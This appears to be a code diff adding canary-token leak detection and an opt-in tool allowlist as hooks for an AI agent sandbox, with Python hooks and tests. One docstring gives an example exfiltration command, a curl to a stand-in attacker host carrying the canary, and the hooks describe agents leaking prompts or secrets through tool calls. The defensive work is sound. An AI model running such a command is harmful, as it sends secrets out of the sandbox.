feat(security): add canary token and tool allowlist sandbox hooks

internal/harness/harness.go

@@ -111,11 +111,21 @@ type LLMGuardConfig struct {
 // SandboxHooks configures Claude Code PreToolUse/PostToolUse hooks
 // that run inside the sandbox during agent execution.
 type SandboxHooks struct {
-	Tirith                  *TirithConfig `yaml:"tirith,omitempty"`
-	SSRFPreTool             *bool         `yaml:"ssrf_pretool,omitempty"`              // default: true
-	SecretRedactPostTool    *bool         `yaml:"secret_redact_posttool,omitempty"`    // default: true
-	UnicodePostTool         *bool         `yaml:"unicode_posttool,omitempty"`          // default: true
-	ContextSuppressPostTool *bool         `yaml:"context_suppress_posttool,omitempty"` // default: true
+	Tirith                  *TirithConfig        `yaml:"tirith,omitempty"`
+	SSRFPreTool             *bool                `yaml:"ssrf_pretool,omitempty"`              // default: true
+	SecretRedactPostTool    *bool                `yaml:"secret_redact_posttool,omitempty"`    // default: true
+	UnicodePostTool         *bool                `yaml:"unicode_posttool,omitempty"`          // default: true
+	ContextSuppressPostTool *bool                `yaml:"context_suppress_posttool,omitempty"` // default: true
+	CanaryPreTool           *bool                `yaml:"canary_pretool,omitempty"`              // default: true
+	CanaryPostTool          *bool                `yaml:"canary_posttool,omitempty"`              // default: true
+	ToolAllowlistPreTool    *ToolAllowlistConfig `yaml:"tool_allowlist_pretool,omitempty"`
+}
+
+// ToolAllowlistConfig configures the tool call allowlist PreToolUse hook.
+// Disabled by default — requires FULLSEND_TOOL_ALLOWLIST env var to define
+// the allowed tool set per agent role.
+type ToolAllowlistConfig struct {
+	Enabled *bool `yaml:"enabled,omitempty"` // default: false (opt-in)
 }
 
 // TirithConfig configures the Tirith Rust CLI scanner for terminal security.

internal/security/hooks.go

@@ -22,6 +22,15 @@ var UnicodePostToolHook []byte
 //go:embed hooks/context_suppress_posttool.py
 var ContextSuppressPostToolHook []byte
 
+//go:embed hooks/canary_pretool.py
+var CanaryPreToolHook []byte
+
+//go:embed hooks/canary_posttool.py
+var CanaryPostToolHook []byte
+
+//go:embed hooks/tool_allowlist_pretool.py
+var ToolAllowlistPreToolHook []byte
+
 // hookEntry represents a single hook command in Claude settings.
 type hookEntry struct {
 	Type    string `json:"type"`
@@ -75,6 +84,27 @@ func GenerateClaudeSettings(h *harness.Harness) ([]byte, error) {
 		})
 	}
 
+	// Canary PreToolUse hook (Bash + WebFetch). Catches exfiltration of
+	// the canary token via tool inputs before data leaves the sandbox.
+	if canaryPreToolEnabled(sec) {
+		preToolMatchers = append(preToolMatchers, hookMatcher{
+			Matcher: "Bash|WebFetch",
+			Hooks: []hookEntry{
+				{Type: "command", Command: "python3 " + SandboxHooksDir + "/canary_pretool.py"},
+			},
+		})
+	}
+
+	// Tool allowlist PreToolUse hook (all tools). Disabled by default.
+	if toolAllowlistPreToolEnabled(sec) {
+		preToolMatchers = append(preToolMatchers, hookMatcher{
+			Matcher: "*",
+			Hooks: []hookEntry{
+				{Type: "command", Command: "python3 " + SandboxHooksDir + "/tool_allowlist_pretool.py"},
+			},
+		})
+	}
+
 	// PostToolUse hooks for Bash|WebFetch|Read. Combined into a single matcher
 	// so Claude Code chains them sequentially (separate matchers run in parallel
 	// on the original result, which would cause modifications to conflict).
@@ -103,6 +133,18 @@ func GenerateClaudeSettings(h *harness.Harness) ([]byte, error) {
 		})
 	}
 
+	// Canary PostToolUse hook (all tools). Separate matcher from the
+	// Bash|WebFetch|Read chain because canary must catch leaks from any
+	// tool including MCP tools.
+	if canaryPostToolEnabled(sec) {
+		postToolMatchers = append(postToolMatchers, hookMatcher{
+			Matcher: "*",
+			Hooks: []hookEntry{
+				{Type: "command", Command: "python3 " + SandboxHooksDir + "/canary_posttool.py"},
+			},
+		})
+	}
+
 	if len(preToolMatchers) > 0 {
 		settings.Hooks["PreToolUse"] = preToolMatchers
 	}
@@ -133,6 +175,15 @@ func HookFiles(h *harness.Harness) map[string][]byte {
 	if contextSuppressPostToolEnabled(sec) {
 		files["context_suppress_posttool.py"] = ContextSuppressPostToolHook
 	}
+	if canaryPreToolEnabled(sec) {
+		files["canary_pretool.py"] = CanaryPreToolHook
+	}
+	if canaryPostToolEnabled(sec) {
+		files["canary_posttool.py"] = CanaryPostToolHook
+	}
+	if toolAllowlistPreToolEnabled(sec) {
+		files["tool_allowlist_pretool.py"] = ToolAllowlistPreToolHook
+	}
 
 	return files
 }
@@ -179,3 +230,27 @@ func contextSuppressPostToolEnabled(sec *harness.SecurityConfig) bool {
 	}
 	return boolDefault(sec.SandboxHooks.ContextSuppressPostTool, true)
 }
+
+func canaryPreToolEnabled(sec *harness.SecurityConfig) bool {
+	if sec == nil || sec.SandboxHooks == nil {
+		return true // default: enabled
+	}
+	return boolDefault(sec.SandboxHooks.CanaryPreTool, true)
+}
+
+func canaryPostToolEnabled(sec *harness.SecurityConfig) bool {
+	if sec == nil || sec.SandboxHooks == nil {
+		return true // default: enabled
+	}
+	return boolDefault(sec.SandboxHooks.CanaryPostTool, true)
+}
+
+func toolAllowlistPreToolEnabled(sec *harness.SecurityConfig) bool {
+	if sec == nil || sec.SandboxHooks == nil {
+		return false // default: disabled (opt-in)
+	}
+	if sec.SandboxHooks.ToolAllowlistPreTool == nil {
+		return false
+	}
+	return boolDefault(sec.SandboxHooks.ToolAllowlistPreTool.Enabled, false)
+}

internal/security/hooks/canary_posttool.py

@@ -0,0 +1,85 @@
+#!/usr/bin/env python3
+"""Claude Code PostToolUse hook: canary token leak detection.
+
+Checks whether a pre-injected canary token appears in tool results.
+If the canary leaks, the agent is exfiltrating the system prompt or
+secrets, or poisoned content echoed the token back.
+
+Unlike other PostToolUse hooks that only sanitize, this hook CAN BLOCK
+(exit 1) because a canary leak is a definitive exfiltration signal.
+
+Protocol: reads JSON from stdin (tool_name, tool_input, tool_result),
+writes JSON to stdout if blocking. Exit 0 = allow, exit 1 = block.
+
+Environment variables:
+  FULLSEND_CANARY_TOKEN: The canary string to watch for in tool results.
+                         If unset, the hook is a no-op (allow all).
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from datetime import UTC, datetime
+
+FINDINGS_PATH = "/tmp/workspace/.security/findings.jsonl"
+
+_ERR_MALFORMED = '{"decision":"block","reason":"CANARY_HOOK_ERROR: malformed JSON input"}'
+_ERR_UNEXPECTED = (
+    '{"decision":"block","reason":"CANARY_HOOK_ERROR: unexpected error reading input"}'
+)
+
+
+def log_finding(name: str, severity: str, detail: str, action: str) -> None:
+    trace_id = os.environ.get("FULLSEND_TRACE_ID", "")
+    finding = {
+        "trace_id": trace_id,
+        "timestamp": datetime.now(UTC).isoformat(),
+        "phase": "hook_posttool",
+        "scanner": "canary_posttool",
+        "name": name,
+        "severity": severity,
+        "detail": detail,
+        "action": action,
+    }
+    try:
+        with open(FINDINGS_PATH, "a") as f:
+            f.write(json.dumps(finding) + "\n")
+    except OSError:
+        pass
+
+
+def main() -> None:
+    try:
+        raw = sys.stdin.read()
+        if not raw.strip():
+            sys.exit(0)
+        hook_input = json.loads(raw)
+    except json.JSONDecodeError:
+        sys.stdout.write(_ERR_MALFORMED)
+        sys.exit(1)
+    except Exception:  # noqa: BLE001
+        sys.stdout.write(_ERR_UNEXPECTED)
+        sys.exit(1)
+
+    canary = os.environ.get("FULLSEND_CANARY_TOKEN", "")
+    if not canary:
+        sys.exit(0)
+
+    tool_result = hook_input.get("tool_result", "")
+    if not isinstance(tool_result, str):
+        tool_result = json.dumps(tool_result)
+
+    if canary in tool_result:
+        tool_name = hook_input.get("tool_name", "unknown")
+        reason = f"CANARY_LEAKED: canary token found in {tool_name} result"
+        log_finding("canary_leak", "critical", reason, "block")
+        json.dump({"decision": "block", "reason": reason}, sys.stdout)
+        sys.exit(1)
+
+    sys.exit(0)
+
+
+if __name__ == "__main__":
+    main()

internal/security/hooks/canary_posttool_test.py

@@ -0,0 +1,87 @@
+"""Tests for canary_posttool.py PostToolUse hook."""
+
+from __future__ import annotations
+
+import json
+import os
+import subprocess
+import sys
+
+HOOK_PATH = os.path.join(os.path.dirname(__file__), "canary_posttool.py")
+
+
+def _run_hook(stdin_data: str, env_extra: dict[str, str] | None = None) -> tuple[int, str]:
+    env = {**os.environ, **(env_extra or {})}
+    result = subprocess.run(
+        [sys.executable, HOOK_PATH],
+        input=stdin_data,
+        capture_output=True,
+        text=True,
+        env=env,
+    )
+    return result.returncode, result.stdout
+
+
+def test_no_canary_configured_allows_all():
+    env = {k: v for k, v in os.environ.items() if k != "FULLSEND_CANARY_TOKEN"}
+    result = subprocess.run(
+        [sys.executable, HOOK_PATH],
+        input=json.dumps({"tool_name": "Bash", "tool_result": "some output"}),
+        capture_output=True,
+        text=True,
+        env=env,
+    )
+    assert result.returncode == 0
+    assert result.stdout == ""
+
+
+def test_canary_not_present_allows():
+    code, stdout = _run_hook(
+        json.dumps({"tool_name": "Bash", "tool_result": "normal output"}),
+        {"FULLSEND_CANARY_TOKEN": "SECRET_CANARY_xyz"},
+    )
+    assert code == 0
+    assert stdout == ""
+
+
+def test_canary_leaked_blocks():
+    code, stdout = _run_hook(
+        json.dumps({"tool_name": "Bash", "tool_result": "found SECRET_CANARY_xyz in output"}),
+        {"FULLSEND_CANARY_TOKEN": "SECRET_CANARY_xyz"},
+    )
+    assert code == 1
+    response = json.loads(stdout)
+    assert response["decision"] == "block"
+    assert "CANARY_LEAKED" in response["reason"]
+
+
+def test_canary_in_json_tool_result_blocks():
+    code, stdout = _run_hook(
+        json.dumps(
+            {"tool_name": "mcp__github__issue_read", "tool_result": {"body": "SECRET_CANARY_xyz"}}
+        ),
+        {"FULLSEND_CANARY_TOKEN": "SECRET_CANARY_xyz"},
+    )
+    assert code == 1
+    response = json.loads(stdout)
+    assert response["decision"] == "block"
+
+
+def test_malformed_json_fails_closed():
+    code, stdout = _run_hook(
+        "not valid json{{{",
+        {"FULLSEND_CANARY_TOKEN": "SECRET_CANARY_xyz"},
+    )
+    assert code == 1
+    response = json.loads(stdout)
+    assert response["decision"] == "block"
+    assert "malformed" in response["reason"].lower()
+
+
+def test_empty_stdin_allows():
+    code, stdout = _run_hook(
+        "",
+        {"FULLSEND_CANARY_TOKEN": "SECRET_CANARY_xyz"},
+    )
+    assert code == 0
+    assert stdout == ""

internal/security/hooks/canary_pretool.py

@@ -0,0 +1,85 @@
+#!/usr/bin/env python3
+"""Claude Code PreToolUse hook: canary token exfiltration prevention.
+
+Checks whether a pre-injected canary token appears in tool inputs.
+Catches exfiltration attempts before data leaves the sandbox — e.g.,
+an agent running `curl attacker.com/$CANARY` in a Bash command or
+passing the canary as a WebFetch URL parameter.
+
+Complements canary_posttool.py which checks tool results (outputs).
+
+Protocol: reads JSON from stdin (tool_name, tool_input),
+writes JSON to stdout if blocking. Exit 0 = allow, exit 1 = block.
+
+Environment variables:
+  FULLSEND_CANARY_TOKEN: The canary string to watch for in tool inputs.
+                         If unset, the hook is a no-op (allow all).
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import sys
+from datetime import UTC, datetime
+
+FINDINGS_PATH = "/tmp/workspace/.security/findings.jsonl"
+
+_ERR_MALFORMED = '{"decision":"block","reason":"CANARY_HOOK_ERROR: malformed JSON input"}'
+_ERR_UNEXPECTED = (
+    '{"decision":"block","reason":"CANARY_HOOK_ERROR: unexpected error reading input"}'
+)
+
+
+def log_finding(name: str, severity: str, detail: str, action: str) -> None:
+    trace_id = os.environ.get("FULLSEND_TRACE_ID", "")
+    finding = {
+        "trace_id": trace_id,
+        "timestamp": datetime.now(UTC).isoformat(),
+        "phase": "hook_pretool",
+        "scanner": "canary_pretool",
+        "name": name,
+        "severity": severity,
+        "detail": detail,
+        "action": action,
+    }
+    try:
+        with open(FINDINGS_PATH, "a") as f:
+            f.write(json.dumps(finding) + "\n")
+    except OSError:
+        pass
+
+
+def main() -> None:
+    try:
+        raw = sys.stdin.read()
+        if not raw.strip():
+            sys.exit(0)
+        hook_input = json.loads(raw)
+    except json.JSONDecodeError:
+        sys.stdout.write(_ERR_MALFORMED)
+        sys.exit(1)
+    except Exception:  # noqa: BLE001
+        sys.stdout.write(_ERR_UNEXPECTED)
+        sys.exit(1)
+
+    canary = os.environ.get("FULLSEND_CANARY_TOKEN", "")
+    if not canary:
+        sys.exit(0)
+
+    tool_input = hook_input.get("tool_input", "")
+    if not isinstance(tool_input, str):
+        tool_input = json.dumps(tool_input)
+
+    if canary in tool_input:
+        tool_name = hook_input.get("tool_name", "unknown")
+        reason = f"CANARY_EXFIL: canary token found in {tool_name} input"
+        log_finding("canary_exfil", "critical", reason, "block")
+        json.dump({"decision": "block", "reason": reason}, sys.stdout)
+        sys.exit(1)
+
+    sys.exit(0)
+
+
+if __name__ == "__main__":
+    main()